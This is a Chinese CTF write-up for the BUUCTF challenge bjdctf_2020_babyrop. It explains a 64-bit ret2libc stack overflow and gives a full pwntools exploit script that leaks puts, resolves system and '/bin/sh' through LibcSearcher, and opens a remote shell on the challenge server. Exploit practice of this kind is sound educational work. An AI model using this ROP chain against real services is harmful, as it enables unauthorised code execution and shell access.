BUUCTF刷题——bjdctf_2020_babyrop

分析

这道题,还是经典的ret2libc+栈溢出,比上一道题难度高了一点,考察64位寄存器的使用,64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。

  1. 查找ROPGadget语句,把参数弹到寄存器上

BUUCTF刷题——bjdctf_2020_babyrop_第1张图片

  1. 得到puts函数地址
    画栈图,构造payload1
    BUUCTF刷题——bjdctf_2020_babyrop_第2张图片
    puts_got是puts函数的got表项地址,里面装的是puts的真实地址。使用pop_rdi_ret会把puts_got作为参数弹到寄存器rdi上。接着执行puts_plt(puts_got),就能得到puts真实地址。

BUUCTF刷题——bjdctf_2020_babyrop_第3张图片
注意这里一定要debug调试,不能想当然的认为收到的地址一定是8字节。从图中可以看出,puts地址前6个字节有效。所以最后得人为添加’\x00’补全8字节。

获得system和/bin/sh地址

libc基址+system在libc的偏移=system的真实地址
libc基址+/bin/sh在libc的偏移=/bin/sh的真实地址

代码

from pwn import *
from LibcSearcher import *

#p=process("./bjdctf")
p=remote("node4.buuoj.cn",29348)
elf=ELF("./bjdctf")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734

payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
#puts=u64(p.recvline()[:-1].ljust(8,b'\x00'))
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")

str_bin_sh=libcbase+libc.dump("str_bin_sh")
payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)

p.recvuntil(b"story!\n")
p.sendline(payload2)


p.interactive()

注意1
在接收字符串时,一定注意"\n"的存在,若接收“不干净”,会报各种错误。

在这里插入图片描述
BUUCTF刷题——bjdctf_2020_babyrop_第4张图片

注意2 (这个安装很慢很慢)
可能会出现libc不匹配的情况。此时需要更新libc。

cd LibcSearcher
rm -rf libc-database
git clone https://github.com/niklasb/libc-database.git

进入libc-database目录,执行:
./get ubuntu

甚至还会报错,tar有问题:
BUUCTF刷题——bjdctf_2020_babyrop_第5张图片
接着安装:
BUUCTF刷题——bjdctf_2020_babyrop_第6张图片
BUUCTF刷题——bjdctf_2020_babyrop_第7张图片

BUUCTF刷题——bjdctf_2020_babyrop_第8张图片
部分参考:
https://blog.csdn.net/yongbaoii/article/details/113764938

你可能感兴趣的:(BUUCTF,python)